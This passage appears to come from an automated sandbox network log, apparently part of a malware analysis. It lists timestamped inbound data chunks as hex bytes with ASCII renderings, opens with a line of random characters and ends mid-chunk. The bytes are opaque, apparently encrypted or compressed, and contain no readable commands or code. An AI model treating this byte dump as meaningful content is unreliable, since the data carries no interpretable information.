\PtR'B;iYm^Y^1$f8`,f4@;$)Cnq&Fy,9=e,jfi&y&icyd+;4#Y6q`6%6*NC,>oWTwH&[V:aHc_gQDi$7P)32OXUk;\[V
2023-07-18 15:27:10 UTC	1984	IN	Data Raw: 40 71 8e cc 39 6a fd 9b 99 52 64 42 88 f1 ce 0f 12 b3 f3 dd 8a ad 0f 78 f3 fd 38 78 30 84 a9 cb d9 6f 60 bd 9b 0e c5 6d 58 65 82 03 91 83 d0 73 86 15 3a 6d 9a d8 40 c9 ca 44 df ca 79 61 43 4f 7a 20 ad b8 be 43 ac 47 dc df cb 39 19 f9 fd bc 3c 62 5c 65 ab b1 e9 0d f3 1d 3b ab a7 12 c3 cc 2b 49 0c e2 a3 8e d1 e5 bc 6d 40 b3 fe 09 45 6f 7f e0 13 1e 4f de ee dd 80 1b 1e 2f 6b eb 3b b9 dd 74 04 bd 18 3a 28 7d 60 72 05 18 be 42 95 66 80 99 0b 79 68 ba a7 b6 f4 40 31 eb 18 0f bb 38 71 9a 9e 94 45 6a 9d e1 7f c8 c3 42 53 87 36 5b 0f dc be fd 2e 08 34 79 86 9d b7 21 1c 93 eb 77 21 81 a9 bc 7b b5 20 34 61 04 e7 d0 d7 b4 9b 28 c6 9a 3a 12 f1 bc 5e b2 b8 a2 d4 7d a2 da c3 32 98 f4 5b bf a3 ce 3d 4a b9 09 7e da 70 00 a4 2e a0 be a9 e9 37 c6 ec 74 25 26 56 7a f0 12 f8 Data Ascii: @q9jRdBx8x0o`mXes:m@DyaCOz CG9<b\e;+Im@EoO/k;t:(}`rBfyh@18qEjBS6[.4y!w!{ 4a(:^}2[=J~p.7t%&Vz
2023-07-18 15:27:10 UTC	2000	IN	Data Raw: 93 75 96 fd 43 20 0d 69 d3 ca 7c 52 fc ae fd 99 fa 1a 0c e2 e4 c4 5d dd 9b 4d 87 87 df 2a a4 a1 40 9e f9 ce c6 84 80 29 93 44 d3 0d b6 a2 70 09 65 a8 d1 6a fb fe b0 55 85 00 9a 2c b8 56 42 45 09 61 b5 95 7a 6b d6 a4 e3 9f 23 70 f2 64 0c d3 80 49 86 f5 05 84 d6 77 76 32 fa 04 31 a4 03 37 d5 01 85 ba 7b 4b e1 27 3c 41 b9 cb 34 46 67 49 a8 a5 10 6e a8 03 4e ed 2f a5 45 e3 6a 10 5d ae 1e ae 46 10 02 5a 5c 98 f6 7d e1 8a d4 33 18 70 bb 62 3f e9 19 1f e1 ad 6e 08 5c 0c a5 fc be 6a 38 c1 ad 37 8c 99 69 ba be 30 62 06 a7 d0 1a 41 fd 32 a7 33 ed f1 11 8b 57 3b 20 03 2b 5a 42 17 66 f3 c4 bc 4f d0 63 a0 5d 18 aa 3f 2b fc 3b 05 29 5f dc 3a 8b aa e3 79 e7 04 d9 28 22 d8 fa a3 46 9c 93 ad 6c 4c 57 8f 21 9e 84 c9 c2 04 bb a1 27 8b cf 64 0f a7 59 5f 39 46 0d 36 b4 b6 36 Data Ascii: uC i\|R]M*@)DpejU,VBEazk#pdIwv217{K'<A4FgInN/Ej]FZ\}3pb?n\j87i0bA23W; +ZBfOc]?+;)_:y("FlLW!'dY_9F66
2023-07-18 15:27:10 UTC	2016	IN	Data Raw: 99 80 67 d8 cd 7b 6c 63 ce b4 50 3c 9b 1c 48 a5 70 5c bc 6a c7 da df ab 0c 5c 9f d9 39 e2 7d dd 6a 2c df 0f 3b 54 18 c1 db a3 58 60 76 0e e0 a2 c3 59 fc 96 1a dc bb 0e 3e 7a 7c 34 14 1f 74 99 f1 d0 b8 58 74 e1 e0 b3 1b 6b 37 87 ff 48 8d 0e 0a 98 5a 0f d5 84 b8 e1 f0 3a 70 3d 5f 19 f3 80 f9 c3 f6 00 f0 d1 9e 10 67 25 e9 6b 96 a3 5b 80 43 24 ed b9 39 e7 e7 e1 c9 53 4a 4d b5 41 96 3c 62 cb 21 0a c3 57 79 9f b5 c7 53 df db 56 2a 20 b3 b4 93 2c a0 4f 1b 1b b5 6f f6 34 04 e8 2c 05 e4 23 a8 89 63 6f 8f 7a 49 80 81 bc e1 f9 c3 8e fc 85 00 1d 72 a0 f1 7e 71 53 62 ec 15 57 fe ab cf 85 22 63 be e2 ae 61 1d 7e c5 02 90 1b 46 47 64 8e 1c d5 17 46 75 9a ec e7 df 41 08 cb 04 19 d3 45 db bc ff 96 55 43 7d eb a3 e7 68 c2 71 82 a5 42 75 25 40 76 81 ed fe 60 aa 35 63 34 79 Data Ascii: g{lcP<Hp\j\9}j,;TX`vY>z\|4tXtk7HZ:p=_g%k[C$9SJMA<b!WySV* ,Oo4,#cozIr~qSbW"ca~FGdFuAEUC}hqBu%@v`5c4y
2023-07-18 15:27:10 UTC	2032	IN	Data Raw: a5 74 37 ac fd 5b ab ae ba b6 95 b8 2c d1 76 ed c5 ea 8f d4 ff e1 ca 69 11 2f 63 ce f1 6e 19 04 5a ff 3f 8c af d4 b0 c1 a7 2a 57 ef 72 34 59 e2 9d 4f f7 77 c1 ae a8 72 5a 7b 98 f3 9f 3b 5b 3c 4d 02 4a 7e 19 f3 2e 7d b4 92 44 5c d5 fc 0d 63 72 69 5f 32 9b cd a2 2e 83 de 12 76 99 f1 9d b1 4d ea 11 10 28 4c e2 2f 4f 30 8e 6a 19 9b 1b e3 85 18 64 d1 7c b7 e0 d5 aa 77 63 f6 a8 d2 e1 45 04 70 20 20 9f 2d 8c 79 22 03 04 4b 64 88 2d c5 bc 68 fa bc 29 83 ac d0 1f c2 79 4e 9f 1b 66 27 b2 95 be 51 9d 79 1e 1e 0b 27 98 8c 0e 66 7d 3a 41 63 2b 10 99 86 0c 29 2d 61 d9 cb 3f 7f b2 3b 7b c8 bc d0 f0 e8 aa 4d da e9 78 73 ec 55 80 07 27 70 ca 15 39 dd fa 54 9e 1c ae 95 a7 31 1a 1a b1 27 31 a8 05 f1 74 b0 db f7 1f c2 65 13 f2 9c ff 0a fc 5c e0 a7 eb 97 3c a7 c1 11 8e d0 67 Data Ascii: t7[,vi/cnZ?*Wr4YOwrZ{;[<MJ~.}D\cri_2.vM(L/O0jd\|wcEp -y"Kd-h)yNf'Qy'f}:Ac+)-a?;{MxsU'p9T1'1te\<g
2023-07-18 15:27:10 UTC	2048	IN	Data Raw: a9 6f 32 11 f0 95 af ad d8 d8 a7 73 5a d6 45 f4 b4 07 e6 fe 1d b5 31 17 63 54 ce ad d8 98 a0 ef 26 c1 cd c7 b2 0e ca 25 8f 3f 85 05 91 e7 79 64 e6 64 83 9d f4 8f 8d ce 21 9a 45 12 c5 68 2a 33 7e 6e a2 4c c6 ab 75 3a f0 d5 4c cb 2e fc 20 17 82 76 36 a3 5c 60 40 e3 cd 29 fd b3 ab 1f 00 9c 8b e6 50 b0 8e c3 92 6b da e2 e0 21 49 4e 89 18 3a 1e 7c 35 91 64 8a 7c 88 29 a8 f1 f5 25 68 59 75 35 41 3f 66 ae b6 59 2d a2 3f 82 90 0e 08 b1 c7 f7 5d 5b af 9c 99 df 8e 11 9a b1 1a 8b ed 1e 9b bb 4e d9 4b 41 62 08 14 51 3c 36 28 0f 5c 89 ec d8 46 39 6c 6e 9d 7a 8c b0 07 df 84 74 7a b5 5c 69 4d 64 c0 79 02 16 af 9f 2d ca 8e 09 9d 77 82 fd 7a 60 a6 e5 29 ff 4d 09 28 dd 88 af b4 ef cd a5 38 8a 71 18 f2 a0 98 a3 9e 2f b1 7e f6 86 f5 7b ba 78 1e 6c 18 62 71 cb 08 29 3f 6e 01 Data Ascii: o2sZE1cT&%?ydd!Eh*3~nLu:L. v6\`@)Pk!IN:\|5d\|)%hYu5A?fY-?][NKAbQ<6(\F9lnztz\iMdy-wz`)M(8q/~{xlbq)?n
2023-07-18 15:27:10 UTC	2064	IN	Data Raw: 7f d7 96 f8 47 32 20 90 fb 31 a8 13 72 6a fc 6f c8 18 ae 36 ee 93 97 c9 49 1a 38 bf b5 1c 8d d2 82 b8 fb cd af a3 a8 5d 96 5f 1b c0 94 bc 9f e8 cc a2 99 a9 0f 7c 17 9d 32 b1 90 74 43 28 89 ad 4b 4e d1 cf 05 9c 3c 07 72 e2 d7 76 85 cf ae 82 62 f5 31 20 7a 84 8c 17 c5 e5 fd 18 90 c5 66 63 dd 85 ff af 4d 94 79 e4 a5 c8 52 08 8b 4c 12 7b d8 31 35 5e 84 30 1c c2 a6 af 44 f4 04 ea 4b 59 37 7e 7b b4 c6 90 54 77 79 d5 02 20 ba 68 b0 5f 2c 5e fe 21 18 87 e2 72 8d 37 7f be 2a 5e b4 2b 67 62 6c 94 7f 86 10 db e6 b8 f5 1b aa 17 b4 00 81 b8 c9 d2 78 f2 f3 fb 64 15 1e 2d 51 ec bc 2d ff 6e 1e 17 f9 99 2b b4 94 79 ec 18 e2 52 42 c3 67 3e 0d 9e 65 f7 17 f5 9b 6d 18 96 d2 76 21 1e 83 df 7e f4 b3 b1 6c b5 13 72 a0 67 f2 7f d3 dd 3e fb e4 c8 c4 ea e8 2e 23 fe fc 11 b6 3e e8 Data Ascii: G2 1rjo6I8]_\|2tC(KN<rvb1 zfcMyRL{15^0DKY7~{Twy h_,^!r7*^+gblxd-Q-n+yRBg>emv!~lrg>.#>
2023-07-18 15:27:10 UTC	2080	IN	Data Raw: 6e 13 14 69 67 2d 14 62 7a 5c 49 be 84 b3 91 e0 0d c5 42 72 2f 3c 61 9e b4 eb 3a 86 64 db 4f 81 e3 17 a9 2f b4 7d cb ba 62 4a d8 2e 09 62 29 08 52 6e 96 75 16 54 76 11 7b 98 51 66 b2 34 3e a5 b1 91 ff 56 2b 87 9b 78 c1 49 33 be 1a 7f 50 77 cb 7d 93 88 83 5d f4 88 71 b1 f6 b2 ab 2e 3a 98 ad d4 3e 5b 04 49 c7 1a f8 c2 a7 c2 6f c1 58 2f 81 b1 e4 78 99 a7 1c 03 93 15 a0 8c 1e b3 df 44 59 f2 a9 a4 e5 13 82 8b c4 4d 35 e2 d7 44 e9 82 8d 68 99 29 eb b9 cd f8 ce 2d 73 fe ee 30 1a 07 e8 00 46 ae 9b a6 c5 de b4 82 2b 60 10 bc fb 7f 0f 4b 98 b4 e8 8a 8c 74 39 c3 76 ab d4 68 f7 09 83 96 de 95 ba 2d 49 79 09 67 6f d1 76 c3 19 b4 44 a0 29 f9 56 2c 40 7b 26 f5 36 cc 2e 8e 4a 30 a8 ac 21 5f 44 75 79 af cc 63 0d 44 22 0c 96 9b 1d 65 7d 8c 7c 17 a1 cc b9 89 15 10 50 39 f0 Data Ascii: nig-bz\IBr/<a:dO/}bJ.b)RnuTv{Qf4>V+xI3Pw}]q.:>[IoX/xDYM5Dh)-s0F+`Kt9vh-IygovD)V,@{&6.J0!_DuycD"e}\|P9
2023-07-18 15:27:10 UTC	2096	IN	Data Raw: e0 26 10 6f 73 13 5b 32 5e fd 3a 79 a6 b0 b6 ca b4 d5 86 73 65 62 26 04 4b 95 50 4a 1b 54 ab 11 57 6e 23 15 e3 45 99 a7 92 66 2a 4f 1e 94 3d 67 75 48 b9 fc 7c d9 6e 13 0f 28 8d 68 17 4a 98 12 80 17 5d f2 6d b0 8f 5e 2b e4 32 f9 aa ae 99 45 4e f8 2b f8 1a 9a d1 15 8f 16 0f 25 61 f3 d8 41 bb 56 3e 76 1c 7a 4f 2e c8 07 4f 10 8a 6c 27 a6 d8 0f 86 ed d4 6f 61 10 fb 89 6b 56 fd cc 25 b4 5e 90 9a 35 19 b1 93 1e ac 74 b7 3c 98 a8 97 e2 2a 81 c8 e5 0a 57 f9 1f d2 77 66 16 31 f3 48 4a 55 fc 50 bd 8f 63 21 36 bb 6a b2 47 8c ae 7a bb 20 c2 b4 49 63 c8 fd 1c 58 4b 74 12 9b d0 c8 78 6c d8 e4 d7 b1 c5 c1 9d 74 ea 5b 82 35 2b 50 ac b3 4c 9f df ad 48 d7 f3 62 c5 e6 2f 12 df 9c 4b 10 d8 85 80 12 87 56 ce fa 70 e6 93 74 b2 f0 55 b9 bb 43 fa 3b fa 09 b4 2d 2c 2b 77 2f 55 7f Data Ascii: &os[2^:yseb&KPJTWn#EfO=guH\|n(hJ]m^+2EN+%aAV>vzO.Ol'oakV%^5t<Wwf1HJUPc!6jGz IcXKtxlt[5+PLHb/KVptUC;-,+w/U
2023-07-18 15:27:10 UTC	2112	IN	Data Raw: c4 ef f1 2a 1b db 31 8f 88 5e 99 be 91 7b 15 bb 62 dc 53 6f dd 0e 39 b8 bb 4e 85 08 19 da fd a5 2d 86 d2 f7 b1 83 e7 f0 e8 b9 33 bd 2c 31 9a 86 94 e6 33 38 f4 1a 17 4e eb a3 a1 2c 81 3f 14 86 c5 12 7b 69 97 36 a2 a6 73 ad 67 f9 88 7a f5 19 1b 26 96 d3 fd 01 b8 52 46 58 72 a6 27 4b 15 a4 22 4c 97 90 27 fa df fd 0f 80 5c 25 ca ce 0e 57 53 45 e9 a6 74 b4 b1 e8 01 99 f9 72 f2 b6 23 79 c7 e1 b5 bd 93 e1 d4 23 f4 c7 24 55 cc 77 98 b2 02 4d f9 57 f3 49 28 40 fd c7 b6 10 b1 63 df 08 ed 45 22 93 be 18 72 bd 0d a3 d1 e8 0a 38 8a bf 20 89 32 10 12 af f4 d3 33 3f 2b 22 7e 04 7a 4a de 7b ba db e8 b0 c8 ce 1b d9 8b 25 a0 f9 ce 02 54 4a d9 b2 b8 d4 28 f1 a0 af 04 14 37 66 ab c7 a0 62 a6 eb 55 e3 d9 20 b5 aa d2 d5 90 66 b7 8c 70 be 5a f9 a8 81 23 97 da 6f 45 5f e9 b5 a2 Data Ascii: *1^{bSo9N-3,138N,?{i6sgz&RFXr'K"L'\%WSEtr#y#$UwMWI(@cE"r8 23?+"~zJ{%TJ(7fbU fpZ#oE_
2023-07-18 15:27:10 UTC	2128	IN	Data Raw: f3 d2 9f e0 09 53 38 e9 69 24 62 9e 70 ec a9 ce df e0 d8 2c 8a be aa 48 be 79 c1 1f 84 56 01 b8 6b 3b d5 fa c8 78 26 4d 15 f5 9b 70 5f 3f 92 9d 77 3a 82 f7 1b 1e 91 48 93 91 6b 69 c1 ed 4e ca b1 09 3f 19 b6 1a 89 b6 5b 71 23 cd 7b 4d 90 15 1a e4 2a 6e f7 d7 22 c7 04 e9 b3 30 11 15 89 1c 10 a2 b8 ab 39 5e ae 41 fd 3b 95 af 40 35 9d a1 ae 59 03 5f b6 c6 d5 d2 ad 04 08 03 47 e1 3d fe 0e a0 62 00 c9 7f 1c df b5 d6 cf f1 40 c3 b5 44 c5 dc 70 be e6 5c 7e 39 46 d7 3a 6e c9 6e 4e 20 58 18 86 66 a3 bc 52 29 8f 26 0f 5e fa 63 09 a9 ee 60 ce 1f 03 a8 2b 0e c1 69 59 bc 2b 6c 88 a5 d9 54 f1 ab 52 7a 6f 0c f3 43 4b d5 ee d4 51 4c 22 70 1d 03 63 d4 dd 2c e1 e6 4b 32 26 d5 68 b7 de 21 92 0c 70 eb a7 75 67 0c 14 63 0b cd de 46 23 53 01 55 45 2b dc cc 21 3b c7 56 2b e8 94 Data Ascii: S8i$bp,HyVk;x&Mp_?w:HkiN?[q#{M*n"09^A;@5Y_G=b@Dp\~9F:nnN XfR)&^c`+iY+lTRzoCKQL"pc,K2&h!pugcF#SUE+!;V+
2023-07-18 15:27:10 UTC	2144	IN	Data Raw: d5 83 2e 69 2f ae f9 f7 94 9b 79 d6 15 c4 34 a4 92 3d ad 71 5f 17 91 f6 70 86 d4 53 fb 4a ab 8d f1 c5 a9 97 a5 26 af 69 40 95 a9 17 7d 39 ce 38 8e f1 84 55 95 6e df aa fb 05 49 33 dc 9d d2 85 44 1c 22 f6 a6 73 8d 5e dc fa 70 77 24 a5 0c c8 b8 70 c6 fb f4 d5 05 fc 2f 7d ba ba cf 56 42 e0 af bb 17 4c 5a e7 59 b1 9a 36 0e 16 77 c1 61 dc 7f 01 62 d8 2e dd e6 f6 f1 46 3f 63 91 02 96 46 ef 39 97 e7 c2 83 2b 54 23 09 2c 1b 00 39 b2 de 6b ee a8 bf d4 da ff 71 fc 11 60 1d 69 d5 8a e5 e1 39 bc 01 eb 87 f4 24 b9 48 51 fc 60 63 49 54 fe ba e7 9c c1 37 2e 6a ce bb fe 42 d4 d5 df 0b 4c 92 6f 3d bb 72 bc d5 8e 7e 76 87 e7 f5 a9 a1 a4 ef cf 16 51 a4 ae 63 4d 35 5c 07 c1 75 52 90 a3 be ba 72 e9 ca df a8 fe 6b 46 6c 60 2c 6f 32 a9 57 94 70 30 3a e2 9c da c7 22 56 21 e1 94 Data Ascii: .i/y4=q_pSJ&i@}98UnI3D"s^pw$p/}VBLZY6wab.F?cF9+T#,9kq`i9$HQ`cIT7.jBLo=r~vQcM5\uRrkFl`,o2Wp0:"V!
2023-07-18 15:27:10 UTC	2160	IN	Data Raw: 3e c2 c8 f4 9c b9 b4 1e e4 74 4b 27 83 84 7b b9 3b 9f 55 0f 29 0b a3 b7 11 39 32 09 19 22 58 ca 52 d2 0c 0f 23 69 47 4d 1a eb 66 53 9b 29 6d 29 2c f7 ee c3 4a f4 a6 31 45 f5 04 cf f4 c9 32 c5 02 cc 24 c5 39 e7 0d 4b c7 dd 07 0f ab 05 b8 60 2e a1 de d7 5f d7 9e cb 34 92 a3 7c 56 82 ac 7e a3 37 aa ca 70 51 31 40 ff 6c 6c 78 89 5d 55 34 67 3e f0 24 6d 39 3a 23 f9 df e5 4c 00 4d 69 40 16 33 d9 39 3c a6 61 05 84 b8 fe 3c a2 b0 07 66 03 1c 3c a4 e3 90 8d 76 af 35 6c aa 7c be 7e 4d 04 58 d8 14 89 45 c3 06 50 e8 72 04 02 09 77 e5 d7 bc 69 90 21 18 2a 35 f3 ce a5 3e fb 99 4e be 2d 46 17 c4 cb 8a 19 6d 1f ea 4e 8d e8 2e 81 55 cb 84 fc 49 88 d5 fd 53 42 ad 30 bf cb 28 97 e4 b2 c0 83 3b e1 0a f4 2a af d6 ed d4 fe 0d 50 ab d9 1e 29 3a 61 74 27 70 24 cf 36 53 74 33 9a Data Ascii: >tK'{;U)92"XR#iGMfS)m),J1E2$9K`._4\|V~7pQ1@llx]U4g>$m9:#LMi@39<a<f<v5l\|~MXEPrwi!5>N-FmN.UISB0(;P):at'p$6St3
2023-07-18 15:27:10 UTC	2176	IN	Data Raw: 5b 2e a2 1d 23 06 b4 29 59 25 fa 2b ce 4d fd b4 3a 49 a2 ca cd 58 b7 db c3 bd 0b 2a 9c c5 ed 39 b0 8c 3a a1 cc 47 66 4a 86 9f 69 5a 63 68 5c e7 b0 2c f6 e1 c9 b3 4c a9 67 3b 65 80 8a 38 69 06 91 c6 8c d2 a9 85 7e 17 db b9 e7 1e 37 73 79 f9 71 d1 79 30 7b 9e 47 f2 4a ef 6e 25 63 64 39 fe 40 71 9f 49 c1 ed 4a 8f d4 a9 6c d1 00 64 8c 8f cf 44 eb 9f 17 e1 af fb 84 6c 8d b7 40 ce fa 19 cb 9f bd f5 fe c2 57 f6 81 93 29 14 30 9a c5 2f 8b 64 e6 e8 1d 8d fd 97 04 59 2c cc 7f eb c2 8d 26 b4 33 37 87 41 be 64 de ab ca bf a6 a2 eb 90 6f f3 ef 90 8e 1e f5 91 34 d3 f0 f7 97 be 70 3d ea 71 44 af 5f 71 be cb b3 c7 f5 63 3e c0 41 d0 d9 5d f8 a6 8e 32 3f ec ce 50 ff 6e 39 e3 47 3f 8f 30 ba 1a d0 88 49 a9 20 0b 71 cf 04 bc 0f d8 ad 4a 9f 79 f2 8e fb e7 03 e4 b4 73 19 90 8d Data Ascii: [.#)Y%+M:IX*9:GfJiZch\,Lg;e8i~7syqy0{GJn%cd9@qIJldDl@W)0/dY,&37Ado4p=qD_qc>A]2?Pn9G?0I qJys
2023-07-18 15:27:10 UTC	2192	IN	Data Raw: 74 df 2e 53 4a fb 81 71 5e 8b 1a c5 b2 db 78 2c b4 b7 75 d9 55 e8 f8 b8 0e 52 e5 37 e7 cc a7 52 80 6d 8a d5 60 98 ff 3c 7e 05 dd 82 7f 32 37 88 66 27 f2 65 c2 98 39 93 36 fa 19 7f e5 0c dc df 0c 7f 3e 59 ea 42 84 ac a1 a2 0c 8e 65 52 86 dc 5a da 87 61 55 bc a2 ab 4c 47 f0 a1 0f 8f c3 26 a8 31 eb 39 07 07 2e c3 e6 0f 81 d1 20 0e 82 94 57 e6 c0 6b c5 4d 1e 7f 50 af de bf a6 5d 48 f4 ea 31 d4 4f 6e e1 a3 ed fc 80 57 15 ed 42 44 69 b2 c7 34 68 ae 04 6b d3 22 fd 50 90 96 a9 a9 82 84 d7 67 b9 b3 25 88 71 78 5a aa 8a c7 10 db c7 f1 5d 1c 42 e1 21 a0 81 bd a2 c3 6e 61 30 7f ae 73 2e d8 b1 e5 9f 6c 08 4b 40 34 67 f8 60 b1 1d fb 37 74 77 37 ff ec a6 cb 29 f5 14 19 f7 8a 84 0e 0d ed 4e 9a 21 80 25 7c 05 25 63 53 c8 b4 ba 25 fb 24 a3 40 3d e8 7c b6 11 e4 72 0f 96 05 Data Ascii: t.SJq^x,uUR7Rm`<~27f'e96>YBeRZaULG&19. WkMP]H1OnWBDi4hk"Pg%qxZ]B!na0s.lK@4g`7tw7)N!%\|%cS%$@=\|r
2023-07-18 15:27:10 UTC	2208	IN	Data Raw: 79 4e c9 c8 cd bf 1d 40 b4 85 11 c3 1e 65 90 92 38 5a 35 38 af 8d 9c 3f db d0 e5 01 60 19 ab ca 8a 41 bf 59 50 84 40 f8 8d e0 cf d7 38 10 71 e2 ee fd 99 39 bb 9b fa 4e af 54 fa 33 b2 7c f4 22 f9 43 1b 85 84 73 90 17 d0 34 9e 06 b3 74 5e 71 b4 6e 19 ec 90 20 5a c0 05 49 be 0a 79 bf 7a 67 c1 6a 98 76 de 7a 46 b9 92 5b 61 36 ae fd 06 9e 34 bb 1a a2 46 4f 74 9d 52 6d b3 ea 6a 4f 70 16 d3 53 df 42 73 df c7 f9 43 d3 ee 56 a4 18 41 dd 5b 0e d4 ed 9e 13 5a d5 28 3a 93 86 c5 06 22 f0 d1 f6 a3 f2 15 4f c4 d9 68 24 09 8a d5 93 a7 b4 65 71 f2 1a bd 69 7f 8d a7 95 de b3 8c 66 2a be bb 6a a0 8e 1a e5 1d 8f 1a f1 57 4e a2 c1 ac 08 77 26 c0 c2 c0 f3 0c b6 df 60 84 76 27 9c a7 ef 18 2b f1 44 56 1c ff db 1a 5e c1 5e 81 e7 e0 08 f1 a1 5d 22 7b 0c ec 58 35 05 ec 16 a2 95 60 Data Ascii: yN@e8Z58?`AYP@8q9NT3\|"Cs4t^qn ZIyzgjvzF[a64FOtRmjOpSBsCVA[Z(:"Oh$eqif*jWNw&`v'+DV^^]"{X5`
2023-07-18 15:27:10 UTC	2224	IN	Data Raw: c9 ae f0 a6 30 5f 62 dc 82 99 25 9e dc 5b 3b cb 6d 67 49 b3 22 45 16 e9 92 da 79 4b fe 72 14 e6 71 da 1c 57 e0 d4 2a e6 9b 52 ed ed 77 5f 8d 4a e4 e6 2a d5 69 04 07 d5 0d f2 91 54 69 68 2d 6d e5 0c 53 49 50 58 c6 13 91 2a 04 0a 2f 4f 53 86 b0 f4 fd 34 5e 96 b6 8f 62 b8 95 36 11 f6 4a a0 4c 57 b6 6b 32 3e 6e 96 89 28 20 d4 41 8b f1 e3 ad fc b4 7d 77 c3 8c 0d 19 47 e8 6e c2 a4 8a 12 c4 47 d3 56 bb f2 cb 66 c8 97 55 de 73 4e 73 31 ed 90 09 b9 0f d8 0a a2 93 3b 3c 6b f2 13 ab 5b 83 f6 e4 04 bd 3f f6 d7 88 88 56 78 93 e3 59 bb 66 af 11 65 1d 3c 3d bf f1 a5 65 dd 16 d3 af 92 a3 9f 86 61 04 95 ba 2c 68 77 f7 c8 57 55 4a 4b ae 74 3b d4 fa 33 d7 95 71 ce f3 df f3 ca 64 15 c0 65 26 d5 77 23 a4 2d a4 5c 79 1c a6 9b 55 09 ac fb 6c 5c a5 a3 4f 4b d5 e5 f0 f8 68 5b 57 Data Ascii: 0_b%[;mgI"EyKrqWRw_JiTih-mSIPX*/OS4^b6JLWk2>n( A}wGnGVfUsNs1;<k[?VxYfe<=ea,hwWUJKt;3qde&w#-\yUl\OKh[W
2023-07-18 15:27:10 UTC	2240	IN	Data Raw: 21 cd f6 5d a9 aa ea 5f 9f ea e3 92 6e e9 ee 61 82 2b 03 47 59 f7 64 aa 93 9c f4 eb b7 66 38 8e e5 c0 db 9f 17 c9 fe 3d 05 1f 69 59 0a 7a 71 71 e3 e3 30 b9 a9 00 a5 7a 6a 2d d6 5f ba 22 f1 d2 fe ef d2 e2 e9 65 10 06 87 8d e3 9c 21 3b 0f 0c ce 94 b9 5c f6 dd 92 15 53 ba 0d 17 a1 08 29 96 35 78 8c d9 52 6a 8e c1 95 07 3f 68 7f e5 97 06 61 1f c0 5a 8e 86 8c c6 8b a7 f7 44 ea 2a 1d 04 2e 05 f2 55 97 a4 e8 9c 59 e0 e3 dc ad 2a 74 2e 29 f3 93 0a 6a 4d 7d f5 e7 6f 20 a8 0a aa a2 a4 c3 7f b1 0a 65 04 d4 10 c6 33 74 50 6f 38 6b 79 f4 1a b1 b0 29 34 15 50 63 49 75 33 57 4c 3e 09 66 0a 27 2c 65 9d 1e ea c3 47 33 0a 26 0b eb a7 7c 11 71 1e 68 31 b7 f6 10 6a 63 5b ed 24 fd 8a 8a f7 92 af d1 e2 7b 82 84 6b e7 61 80 70 d4 a4 8f 05 63 75 ce 6a 95 e4 30 03 73 d8 6a 3b 21 Data Ascii: !]_na+GYdf8=iYzqq0zj-_"e!;\S)5xRj?haZD.UYt.)jM}o e3tPo8ky)4PcIu3WL>f',eG3&\|qh1jc[${kapcuj0sj;!
2023-07-18 15:27:10 UTC	2256	IN	Data Raw: 86 42 c2 79 a2 ba 81 18 e2 ea 3f e7 fb 34 56 de 3e 21 4d 62 a2 6d 8f 21 b1 31 aa 0a 63 36 cb b6 c1 c5 84 98 16 c2 20 7b 31 65 31 db 76 17 b4 33 a8 5d f6 6b 79 ae 65 95 29 0c 3d 1b 16 9b a8 b8 85 9d 40 53 69 11 d9 bb 7c 2d 9e b7 e2 b1 ce c9 ba 63 53 6a 6b d4 72 6a bf 4a 8d 95 49 b1 0d 94 5a 8d 4e 8d 16 ab ad 04 b1 e5 35 59 33 7f 4d 2a 86 f3 aa a1 05 f5 1e a5 32 c5 3e e6 86 96 be 77 78 19 62 7f 9c 4b 75 20 8f 26 0e 17 6f 49 fb aa 67 27 fb 95 e6 05 ea da 86 d8 3c 9d 32 af ee 48 93 22 68 ac 4d 8d d1 96 78 06 04 67 0e 43 f7 68 c7 cc 24 72 f0 e9 3c d8 0d a9 91 cd fe 7b 51 16 3d c8 15 28 4f 24 de fd 73 cb 58 72 37 dc e8 35 bf 26 83 99 be 94 16 01 ae 65 ce ee 45 c5 7d bf 72 20 2d 68 9c 49 f8 1b 4f 3c e7 39 c8 0d 81 8a d4 72 d0 43 d0 a9 15 85 6a 3f 3c b5 f2 69 91 Data Ascii: By?4V>!Mbm!1c6 {1e1v3]kye)=@Si\|-cSjkrjJIZN5Y3M*2>wxbKu &oIg'<2H"hMxgCh$r<{Q=(O$sXr75&eE}r -hIO<9rCj?<i
2023-07-18 15:27:10 UTC	2272	IN	Data Raw: 3f 81 d3 d0 d5 80 63 96 d6 bc 56 dc c9 73 c2 60 77 39 24 73 9e db fe d8 47 3c d6 27 df 7b 04 96 ae d6 61 38 d9 c0 7d 0a 2b bc d4 ef 6d 8e dc 14 02 48 e2 d6 54 ee ae 4a 71 91 fd 56 47 a6 1c 51 ef 03 fe cd 3b 5d 30 ea b9 2b 20 30 d5 64 7d 6a fb 5e 00 1b 60 7e 40 da 70 0c 3c dc d3 dd 0f 7b fc 21 c2 fc 12 fa b5 10 ab 38 e6 e3 2a 0a 06 a7 81 81 c0 ed f0 eb 41 d1 6e d9 0e 14 2b c4 2c 5c 2d 5b f0 dd 5d 16 73 98 e6 00 2c 48 64 b2 f1 62 70 21 99 b1 6c fb e0 b6 c1 f8 fd 45 d6 54 48 4e 32 cf e8 99 65 88 f8 e7 55 82 f1 ab 70 09 e6 c9 d8 73 f4 3f d7 8d c7 98 58 fa 7f f9 60 5c 58 c4 01 48 be a7 d2 f7 f7 2b f3 e6 97 26 9c 41 c1 b7 bd e7 13 71 a7 96 79 62 e2 2d ae d7 2d bb a1 52 ec c0 a2 90 b9 1a 52 68 df a8 a5 fa df be 6c a5 aa a2 09 d6 43 f4 3d ae 22 63 c9 d3 0d e8 6f Data Ascii: ?cVs`w9$sG<'{a8}+mHTJqVGQ;]0+ 0d}j^`~@p<{!8*An+,\-[]s,Hdbp!lETHN2eUps?X`\XH+&Aqyb--RRhlC="co
2023-07-18 15:27:10 UTC	2288	IN	Data Raw: a4 e7 08 8d 3f 65 dd 70 4e 3d ba 1c 3b 95 b2 7b d7 92 6d 6b f9 c9 30 f1 7c 2d ae c3 c1 60 d1 75 13 70 89 40 e5 7a c5 67 d0 38 79 14 23 16 94 79 a8 32 ed 45 6f e9 ec d4 91 83 1c f9 d6 a3 1b 23 58 ed 48 5d ef ce be 06 8f 24 2a ce bb b5 75 ef 3e bf ab 72 4f e6 54 e1 46 7d 1b 81 71 29 85 54 24 fa 6d 09 60 3e ca 82 73 fe 76 d7 4c 0a 42 8c 58 8b 69 58 22 d4 5b 67 b3 a2 e7 e7 95 b2 56 c0 aa 7f ed 6b 2e ae b7 fb 62 ef f3 e4 bb 1b d0 9d 43 60 3b 5f 07 a2 91 3f 25 53 2c fa 5a 6a fb 69 b0 1a 37 39 1e 43 7f f7 21 18 93 8d 9e 7a fb 93 5a 99 2f 3a 87 7e 15 48 c7 f1 24 32 ee b5 81 be 3b 45 c8 28 44 72 5c e6 a0 33 d2 e3 d7 48 